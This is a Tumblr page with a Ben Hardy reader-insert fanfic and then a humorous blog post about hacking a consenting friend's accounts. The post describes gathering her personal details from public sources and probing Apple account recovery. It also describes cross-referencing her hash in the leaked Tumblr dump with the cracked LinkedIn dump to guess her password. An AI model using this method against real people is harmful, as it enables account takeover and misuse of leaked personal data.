#click for quality blah blah blah. whatever. sigh | Explore Tumblr posts and blogs

bensboynton · 6 years ago

Text

Perfectly Flawed b.h

hi hello!!! @kellysimagines sent in a really cute prompt and i just finished it, so here it is :)

the borhap cast is involved in a lot of this one

female!reader x ben hardy

word count: 4.8k

warnings: fluffy, angsty, mentions of infidelity (DO NOT CHEAT ON YOUR S/O) unedited

“Hey babe, going out with the boys for a drink tonight after we’re done filming for the day. Don’t wait up for me, I’ll be late. Love you.”

You removed the phone from its place on the side of your face, anxiousness gnawing at the insides of your stomach that sprouted from the harshness of your boyfriend’s voice. And that you had barely seen him at all this week, the third night in a row he was going out.

He left early in the morning for “a workout” or to “auditions” or whatever else he could come up with an excuse, and either didn’t get home until you were long asleep or would come in for five minutes to change and leave again.

You had been living with Ben for almost a year now, and saying you were in love with him would be the understatement of the year. You were completely smitten.

Everyone around you constantly spoke about how you had literal hearts in your eyes every time you looked at him, how you were the perfect couple, blah blah. And you believed it for a long time. But the last week has made the foundations of your relationship begin to crumble in your brain.

Every Tuesday, you and Ben go out to eat somewhere and stop at an ice cream parlor near your shared Townhouse after, but he canceled this week. He claimed he “forgot” and made plans that day even though you’ve been doing it every week since you started dating. That was three years ago.

And then the one day you saw him after work, he was distant. Said he was “too tired” to watch one of his favorite movies of all time with you. At first, you gave him the benefit of the doubt. But now your mind was beginning to turn to the worst.

You texted the first person to come to mind, desperate for human contact. You sent a loving paragraph to your best friend, Lucy, asking if she could come over for a much-needed girls night, but she sadly declined. She had plans to go out to eat with Rami.

Must be nice spending time with your boyfriend.

You shook your head and scolded yourself for having so little trust in the loyalty of your boyfriend. But, you couldn’t help to wonder what was going on. He used to go out once a week, at most, and now he’s going out every other day?

You weren’t having it.

Picking up your cell phone again, you scrolled to Joe’s contact in your phone. You chewed your lip, weighing the pros and cons in your head.

You could leave it alone and put your trust in your boyfriend, or call one of your mutual best friends and see if Ben was really out to drink with him. I mean, it’s not like you were accusing Ben of anything just by calling. Plus, you were worried about his safety.

And also if he was fucking another woman. But you tried to push those thoughts from your mind.

You deserved to know, especially after being ditched and denied quality time again and again. He would creep in after midnight, and you’d wake up to him in his sweatpants at the far end of the bed.

You had dropped plenty of hints of how much you wanted to spend time with him, how much you missed being around him and he seemed to ignore it. At the time, you shook it off as you being clingy. But the more you thought about it, the angrier and more abandoned you felt. You deserve an explanation!

So, in a burst of impulse, you clicked on Joe’s contact, your stomach doing backflips as you waited for him to pick up.

“Hello?” you heard a concerned voice on the other line, “Y/N are you okay? You never call me.”

“Hey! Yeah, yeah I’m good I just…” you trailed off, noticing the odd silence of the background, “where are you?”

“Home. Rami and Lucy are over and we’re eating dinner. Why? Do you need me to come over?”

“No! No, it’s okay. I just thought you were with Ben.”

“What? Was I supposed to be with Ben?”

You felt tears welling up in your eyes before you blinked them away. Maybe Ben just hadn’t invited Joe. No big deal.

“No, it’s nothing. Thanks, Joe. I’ll see you tomorrow for lunch,” you were short with him, ending the phone call abruptly. I guess it didn’t make sense for Joe to go out with Ben when you and Joe had planned a little brunch get together.

You repeated the process, listening to the ringing before another familiar, yet British voice popped up on the phone.

“Y/N! How are you love?” Gwilym spoke cheerily into the phone. Still, the same silence in the background.

You felt your heartbeat begin to quicken in your chest again, “Hey, Gwil. Just wanted to check if you were out with Ben?”

“Me? No, I haven’t heard from Ben in a few days actually. Why, what’s going on?” Gwil asked, his cheerful voice slowly quieting as he heard the distress in yours.

“It’s nothing Gwil. Have a good night, I hope I get to see you soon.” You mumbled quickly into the phone, praying that Gwil didn’t catch the large crack in your voice.

But, to your dismay, he tried calling you back a minute later. You let the phone ring, taking a deep breath and wiping the one lone tear off of your cheek. One last phone call to make. One last chance.

Ben’s childhood best friend Sam was supposed to be coming into town soon to visit, and you were banking on the idea that he got an earlier flight. You were crossing your fingers that they were together at some bar dancing and singing really bad karaoke. You were about to get on your knees and pray to any God that that’s what was going on.

You rung him up, using all your energy to hold back tears.

“Hello?”

“Hey, Sam! It’s Y/N.”

“Oh Christ, Y/N! How are you love, it’s been a while since I’ve heard from you.”

“I’m doing great actually,” you lied through your teeth, fidgeting with the ends of your hair, “I just needed to call and ask if you were with Ben by chance?”

“Ben? As in Benjamin Jones?”

“Yes, that’s the one.” You added a mechanical laugh for effect.

“Is Ben flying into London to see me? I’m sitting in my flat right now darling.” You could hear the confusion seeping from Sam’s voice.

“Ah. Okay. Thank you, Sam.”

You ended the phone call before placing your phone on the couch, breaking down into a mess of tears. You had just called all the people that Ben would normally consider getting drinks with, and none of them were with him.

Your mind quickly turned back to all the many scenarios you had hoped to God weren’t true. After a long while of crying on the couch in your living room, you changed into a sweatshirt and sleep shorts, making your way back to the bedroom you shared with Ben.

You sat down under the covers with a random episode of Friends playing off of Netflix, not really focusing on it. Your mind was racing at a million miles a minute. Were you not good enough for Ben? You knew you weren’t perfect, but was it stupid for you to believe him when he told you he loved you?

You were so absorbed in your thoughts, you didn’t hear Ben enter the house, only noticing as he crept into the bedroom.

You quickly closed your eyes, calming your breathing pattern. You felt Ben walk around to your side of the bed to make sure you were asleep, before turning to put on something comfier for bed.

You heard his phone start to vibrate on the dresser, and a whispered “shit” as he grabbed the phone and quietly responded to the phone call. There were a few mumbled “yeah’s” and “okays” and “sounds goods” and a long silence before he started speaking again.

“Thank you so much for this, Jessica,” your breathing hitched in your chest as he continued talking into his phone, “I appreciate all of this so much.” There was another pause.

“No! No, it was perfect. I promise. Why would I lie to you?”

Jessica. So it was true. The man who you told all your friends was the love of his life, the man you told you mom you wanted to marry. He was cheating on you with another woman.

Your brain was telling you to “wake up” and talk to him rationally, quietly, and express your emotions in a healthy way but your heart was so shattered you couldn’t move. You sat there for a while, waiting to hear the soft sounds of Ben snoring before getting out of bed. You grabbed your phone and a random pair of gym shoes, practically running out of the house.

Ben, of course, didn’t stir. He was a heavy sleeper, always was. You were almost jealous of the way he was able to sleep at night, not giving you a second thought.

You shakily called an Uber to your townhouse, even though you had a car. Your eyes were blurry with tears, and your arms were shaking, so you couldn’t trust yourself to drive. You sat down on the stairs near your doorstep as you waited for the red Toyota to pick you up.

You tried to calm yourself down as much as possible, but you couldn’t. You were shivering in the oddly brisk LA air and could taste the saltiness of your tears.

Your Uber arrived extremely fast, and you stepped into the backseat. The driver looked to say something but saw how puffy and slicked your face was with tears before turning back around. Thank God he took a hint.

He stayed silent for the entire ride until you were suddenly standing in front of Joe’s home. Rami’s Audi was parked near the curb, and you sighed a shaky breath of relief that you were far away from Ben and that house.

Never thought you would say you were glad to be away from Ben.

“Have a good night. Hope you feel better,” your Uber driver said with a slight wave and sympathetic smile. You returned the favor, walking up the stairs to Joe’s house, knocking three times.

“Joe, are you expecting anyone?” you heard Rami bellow through the house, obviously tipsy on white wine.

“No. Maybe they did a late delivery on my amazon package.”

“Was it your sex toys?”

“Rami!” Joe scolded in disapproval.

“I’ll get it,” Lucy hummed, opening the lock and swinging the door open cheerfully. She had a beautiful, content grin on her sweet face before she went slightly pale at the sight of you on the doorstep.

You were shaking, bawling your eyes out in the ugliest sweatshirt you owned with a pair of mismatching socks and a very thin layer of sweat clinging to your skin from your rattling sobs.

“Oh my fucking god,” she muttered, rushing out the door to wrap you in her arms, “Y/N, baby what’s wrong? What happened?” you just started crying harder at the sound of your best friend’s voice.

“Did I hear ‘Y/N?’ Why is she here-” Joe began before gasping at the sight of you collapsing in Lucy’s arms at the door.

Rami and Joe both ran up behind Lucy and helped lead you to the couch. Your throat and chest were beginning to tighten from the constant crying, and you just wanted to go to sleep and forget about all of this.

Rami and Lucy were on either side of you, comforting you gently instead of pestering you with questions. Joe walked swiftly from the kitchen, a glass of water in hand before sitting in front of you. You could see the pain on his face from seeing you like this.

You had known Joe, Rami, and Lucy from when you went with Ben on the set of Bohemian Rhapsody, as well as the other cast. You had gotten really close with everyone, and you considered them all your family.

“Sorry for interrupting your little get together,” you sniffled, trying to hold back sobs.

“No, don’t say that you weren’t interrupting anything,” Rami comforted you quickly, rubbing your back assuringly. He always had a comforting aura but for some reason, his calming persona didn’t seem to be helping.

“I-I just didn’t know where else to go,” you spoke, your voice cracking as a few more tears escaped your eyes. The same eyes Ben used to look into every time he said he loved you.

“It’s me and Ben.”

Lucy’s grasp on your hand tightened and Joe’s eyes went wide, “What do you mean?” Lucy asked quietly, her voice overly quiet.

“He’s been going out the get drinks almost every day this week, which isn’t a big deal. But he’s just been distant and cold for a while and I…” you trailed off, sobs working their way back up your throat and you started to cry again.

Rami, Lucy, and Joe were so silent you could drop a pin on the floor and it would probably hurt your ears it’d be so loud.

“He told me he was going out for drinks tonight with ‘the boys,’ so I called Joe, Gwil, and Sam to see if he was with him and they all said no.”

Your three best friends just nodded, an idea of what happened started to grow in the pits of their mind.

“And he came home late, so I pretended to be asleep to avoid a conversation with him,” you paused, taking a shaky deep breath in, “and someone called him, so he answered and starting thanking this girl named Jessica and talking about how perfect ‘it’ was and I just- I ran.”

Lucy put a hand to her mouth and Joe’s jaw dropped, their shock somehow adding to the painful silence in the room. Joe stood up slowly and walked to gaze out the window onto the street in front of his house. You were feeling so much, yet so little you felt like you were going to disintegrate.

“That son of a bitch,” Joe sighed from his spot looking out the window. He let out a huff of disbelief, “I thought he would be better than this. Truly.”

“I don’t know what to say,” Rami said to no one in particular, struggling to wipe the shocked look off his face. You looked up to meet Lucy’s eyes who her glazed over in tears.

“I can’t believe he would do something like this…” Lucy trailed off, “especially to Y/N.” Her voice cracked as she pulled you into a tight hug. You slowly looked back up at Joe who was pacing.

“I’m gonna kill him for that. What a piece of shit!” Joe was starting to angrier as time passed, “give me one second,” he mumbled, walking out the door and dialing a number on his phone.

A few minutes later, Joe walks back inside, his face slightly red and out of breath from yelling into the phone and walking back to meet you on the couch.

“He’s asleep but I just left a very unpleasant voicemail for him to wake up to,” Joe mumbled, pulling out his phone again, “I’m calling Gwil and Allen just so they know not to be to nice to him.”

“I think that’s a good idea,” Rami said, a wave of newfound anger in his normally soft voice. He typed furiously into his phone, and Lucy followed his lead. You glanced at their phones to see them practically typing novels in your defense at Ben.

“I’m so, so sorry Y/N. You deserve better than that.” Lucy said, pulling you into another hug before the quiet was interrupted by Joe again. He burst into the room, slightly out of breath.

“So, Gwil and Allen are apparently on the way over right now, so just to warn you all,” Joe sighed, plopping down on the chair next to the couch.

You absentmindedly snuggled up to Lucy as Rami covered both of you with a blanket, and Joe turned on your favorite movie on Netflix to try and bring some comfort to you.

They didn’t really know what to say, so they tried to make up for their lack of words with all the comfort they could possibly offer.

You had been so scared that you’d show up and tell them what you heard and they wouldn’t believe you, or maybe not care. After all, they knew Ben better and were really close to him. You knew it was irrational to think these things because they were your best friends, but your entire existence was irrational at this point.

You were starting to fall asleep leaning against Lucy when there was an aggressive knock at the door. Joe leaped up to answer it to reveal Gwilym and Allen standing at the door.

“Where’s Ben? Is he here? I want to kick him in the nuts,” Allen spoke aggressively, his hard expression softening immediately at the sight of you.

You were crying again at the idea and sight of all your best friends gathered in the same spot to support you and be there for you. You walked over and quickly hugged Gwilym and Allen before they took off their jackets and made themselves at home in Joe’s house.

“Just want to be clear, do you need to talk about it? Because if so let’s get that done with before we start Titanic. I want to bask in all of Leo’s glory, uninterrupted.” Joe spoke, trying to lift the heavy mood in the room with a joke. You let out a breathy laugh before meeting the bluish-green eyes of Lucy.

“Let’s talk about it.”

And that you did.

You all sat there and you told them all about Ben’s weird behavior the past few days, the phone call, all of it. They all sat around with you quietly with open ears, drinking in the details of the recent events, silently nodding or expressing their anger when it was appropriate.

“I-I just don’t know what to do. Where to go,” you said, choking on tears in the back of your throat.

“Y/N, you have a home with all of us until you figure out where to go. We’ll go beat up Ben- I mean, we’ll settle this situation calmly tomorrow,” Gwil began, “but for now I think we should all just watch Titanic and simultaneously fall in love with Leonardo DiCaprio.”

You laughed, a smile creeping onto your face for the first time in quite a few hours. “There she is. There’s that famous Y/N smile.” Rami said from next to you, pulling you into a side hug.

Joe turned on the movie, sitting in the chair to the left of the couch alone, while Allen and Rami sat on the floor in front of the coffee table. Gwil and Lucy were on either side of you on the couch, and you’re not quite sure when, but you were eventually lulled to sleep. The comforting voice of Kate Winslet and Leonardo DiCaprio kept you company, while you were also surrounded by the group of people you love most in the world.

You were at peace. For now.

“Ben, I promise you she doesn’t wanna see you.”

“None of us do, actually.”

“You’re a piece of shit Ben. If I didn’t have any common sense I would-”

“Joe, not now.”

“Right. Sorry.”

“Point is Ben, Y/N doesn’t want you here and you’re not exactly a sight for sore eyes for all of us. Just leave before you hurt her anymore.”

You were rudely awoken by some intense whisper yelling happening at the front door, and you kept your best to keep up your act even with your sore neck from sleeping on Joe’s couch all night.

You assumed that everyone had stayed the night at Joe’s, due to their intense defending of your honor and mental state at the front door. But you could also assume that Ben was there.

“Please, just let me talk to her. I didn’t cheat. I promise that’s not what it was. I can explain the whole thing-”

“Oh, yes I’m sure you can Ben. Tell it to ‘Jessica.’” Lucy snarled, slamming the door in his face. it was frightening to hear the normally bubbly and optimistic girl sound so mean. The loud noise of the door almost coming off of its hinges caused you to jump.

You decided to stop with your act, sitting up and cracking your neck to alleviate the stiffness. Lucy turned around and her face softened, suddenly very apologetic. “Oh! Y/N I’m so sorry for waking you up I got carried away and-”

“I want to see him.”

“Ben?” Joe questioned, uncertainty written all over his face. The rest of your friends seemed to be thinking the same thing.

“Just to get closure.” The group nodded, and Lucy opened the door again and called Ben back in. He tripped he ran back up the steps to the porch so fast.

“You say anything that is off, I swear to god I’ll-”

“JOE!” your friends yelled, practically dragging him off into the other room. Lucy gave you a small reassuring smile as she closed the door behind her, leaving you and Ben alone in Joe’s living room.

The silence was crushing. It was awkward and grimy, making you feel like it was encasing you in a layer of goo that made you want to run out of the house and never look back.

“So-” Ben began before you abruptly cut him off.

“I’ll start,” you croaked, your voice already cracking. This scenario sounded better in your head, your voice was a lot stronger and assertive. But this would have to do.

“I don’t know what I did, what made me so boring or why you would want to cheat on me, but you must’ve had a reason. And I’m sorry for ever making you feel trapped or like you couldn’t talk to me or break up with me. Because you deserve better than that.” you paused for a moment. You could tell in Ben’s eyes that he was screaming to say something, but you continued.

“But I also know that I deserve better than to have my loyalty and trust betrayed by you. And cheating on me was a really shitty thing to do-”

“Y/N for the love of God please listen to me. I’m begging you I don’t know what else to do.” Ben pleaded, his voice weak and his eyes searching yours desperately. You closed your mouth and nodded, trying to prepare yourself for the worst.

“I didn't cheat on you,” you scoffed loudly at his statement, “and I know, that sounds fake but just give me a moment to explain.” Ben took a deep breath, looking at his shoes before meeting your eyes.

“I know I’ve been distant, and it’s physically pained me every single day that I’d have to lie to you and tell you I couldn’t hang out and watch movies, or canceling our ice cream date. It was physically hurting my heart. But I was worried I would slip up and tell you the secret-”

“That you were cheating on me.”

“No! Christ, no. Y/N I was going to ask you to fucking marry me.”

To say your heart dropped out of your ass would be an understatement. Suddenly, pieces slowly started to come together in your mind.

“Jessica is the woman at the jeweler's who was in charge of your ring… and when I said I was out I was actually arranging a spot to bring you to, and checking on the ring size. And I was scared I’d accidentally ruin the surprise.” Ben ran his large hands through his hair, meeting your eyes again. You were frozen.

“I love you Y/N. More than I’ve ever loved anyone in my entire life. I would never even glance at another woman because you’re the only one I see.”

Your heart melted in your chest as you felt a tear roll down your chin and settle in the hollows of your collar bone.

“Ben… I-I’m sorry for assuming anything-”

“No. Don’t say sorry. You had every right to be upset that I was ditching you. I could’ve handled that a lot better,” Ben took a few steps closer to you before laughing and looking up at the ceiling, “I was planning on waiting to do this, but what the hell, right?”

Ben pulled a tiny black velvet box out of the pocket of his jeans and knelt down on one knee in front of you, opening it up to reveal a beautiful, silver ring. You gasped and took a step back, clutching your hands to your face as you started to cry harder.

“Y/N,” Ben swallowed thickly, never breaking eye contact, “as cheesy as it sounds, I’ve loved you from the day I met you, and even though you were with someone else, I knew we were bound to be together. It was fate. And you know I don’t believe in fate. But with you… the only way I could’ve gotten so lucky was if some otherworldly force brought us together. I love you. Please, do me the absolute honor of being my wife.”

You couldn’t believe the turn of events. One moment you were crying because your boyfriend was cheating on you (so you thought) and now you were bawling because he was proposing to you.

“Yes. Yes, Ben yes!” you screeched, bouncing back on your heels as Ben wrapped you in his arms and pressed his lips to yours. You felt a strong warmth run through your body at the feeling of his touch, something you had missed so much.

At the sound of you screaming slightly, the rest of the cast burst into the room to see you and Ben almost making out in the middle of the living room.

“Oh my god… he proposed,” Lucy spoke, gasping lightly, her face brightening as all the pieces started to click into place in her mind. You turned around, smiling the hardest you’ve smiled in months, which quickly brought a smile to Joe’s, Rami’s, Allen’s, and Gwil’s faces.

“Thank God Ben didn’t cheat. I was about to go and have him removed as my emergency contact,” Joe joked, earning a laugh from everyone, “what? I wasn’t kidding.”

You turned back to Ben and threw your arms around him, basking in the feeling of his hug and smelling the stale cigarettes on his shirt(a smell only he could pull off).

This past week had been a rollercoaster, to say the least. And you had cried way too many tears, but standing in that brilliantly sunlit room at 8 am felt so impossibly right, so perfect, you could’ve cried again.

You looked up into the crystal orb-like eyes that belonged to your lover, and you couldn’t help but smile. The stress and pits of despair brewing in the bottom of your stomach were gone. You were relieved again.

Standing there in the arms of the man you loved, surrounded by your family, you had never felt so at peace and calm in your entire life. Everything was perfect, even if you didn’t get a glamorous dinner or romantic beach walk for your proposal. It was flawed, and that was honestly very fitting.

Because both you and Ben were very flawed, and that led to a flawed relationship, with flaws in every single thing that you did. For example, when you literally just jumped to conclusions about Ben cheating. And that one time you almost burnt down your house trying to make grilled cheese because you forgot you put it on the stove. But those flaws is what made you two a perfect match, that’s why you were made for each other.

Because suddenly, when you were with Ben, those flaws and imperfections didn’t matter. You looked beyond them, you accepted them, and you learned to love them.

It suddenly hit you, standing there, that all of those perfect relationships never work out because they don’t know how to handle issues or fights or false conclusions. It’s like a blizzard suddenly rolling in on a perfectly sunny day in Florida. It’s a shock to them, they don’t understand it or know how to deal with it. You and Ben, on the other hand, frequently experienced blizzards and tiny drizzles of rain, and sometimes full-on hurricanes. But those storms only managed to make you stronger.

And you had never felt more grateful for every single flaw and imperfection and Ben both possessed at that moment.

You were both perfectly flawed. And you were both perfectly okay with that.

#ben hardy #ben hardy headcanon #ben hardy fic #ben hardy x reader #ben hardy x you #ben hardy fanfic #ben hardy fanfiction #borhap #bohemian rhapsody #lucy boynton #borhap cast #borhap guys #borhap boys #queen #bohemian rhapsody cast #bohemian rhapsody movie #joe mazzello #allen leech #gwilym lee

266 notes · View notes

defaultnamehere · 8 years ago

Text

Operation Luigi: How I hacked my friend without her noticing

This blog has moved! This post and other mistakes are now at https://mango.pdf.zone

Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.

Several months ago

I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.

I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:

I'll start some time in the next 12 months

No deleting anything she has

No disrupting her daily life

Stop asking if she's sure it's okay

Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.

I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.

And uh also at the end Mario's green friend is there.

Part 1: Research

"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this

Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.

Jeez we're gonna need to know her email address aren't we?

People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.

The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo

[x] email address [ ] the respect of my peers

Does she use this email for Twitter?

Yep.

How about her phone number?

I type a bunch of extremely clumsy things into Google. I'm talkin' "[email protected] phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.

There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at [email protected] or [her phone number]". pew pew got 'em.

[x] email [x] phone number [ ] the respect of my peers

Storing the goods

I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.

While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.

Let's try getting into her iCloud account

Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.

I don't really have a good reason for going after iCloud, so if you could just give me a break for one second

If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.

I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.

I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."

There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:

Daaaaaaaaaaaaaaaammmmit.

I have taken the wrong path in this text adventure game.

I've just notified Diana that someone's trying to reset her account.

For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."

There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.

Several days later

My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.

"Hello?"

"Hi, who am I talking to?"

"It's uh Alex."

"Alex?"

"Yeah."

"Alex ``?"

"Uh, noooo it's-"

"Ohhhhhhhhhhhhh."

"Wait so who am I talking to?"

It's Diana.

"What's up?", I ask.

She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.

I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"

She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.

We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.

Before I hang up, I wanna show off my work so far.

"Hey Diana, one more thing"

"Yeah?"

"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.

Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.

"Can you like, find all the accounts I had on all those game websites?"

Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.

"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"

Part 2: Hackinggggg

At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.

But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.

For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7

I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.

The shady password market

Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.

But.... nowhere does it say you have to type in your email address. Cunningly, I type [email protected], executing hacking.

Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.

Let's get the old Tumblr database

I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.

...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.

Ancient forbidden password rituals

The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:

[email protected]:3a1920ceb2791d034973c899907847cb58810808

That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.

My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".

These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.

Finding the salt

There's no official information on what kind of hashes are in Tumblr.txt.

The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.

I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.

But I can't find it because fun fact I'm a total fraud.

Can I get the password... without the salt?

So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?

The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:

[email protected]:cooldad64HNc62V8 [email protected]:cooldad64HNc62V8 [email protected]:p@triots69HNc62V8 [email protected]:Bongo1HNc62V8

I search Tumblr.txt for not [email protected], but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)

I find more than 20 Tumblr users with the same password as Diana aw yeah

[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…

This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.

But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.

I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.

Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?

LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.

I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.

[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1

More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)

This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.

I try to log in to her Hotmail account with the password qwerty1.

"Incorrect password"

Wait please this was supposed to be easy please no why is it like this don't do this to me

Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.

Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.

I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.

On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.

Looks like I just missed out. The plot thickens audibly.

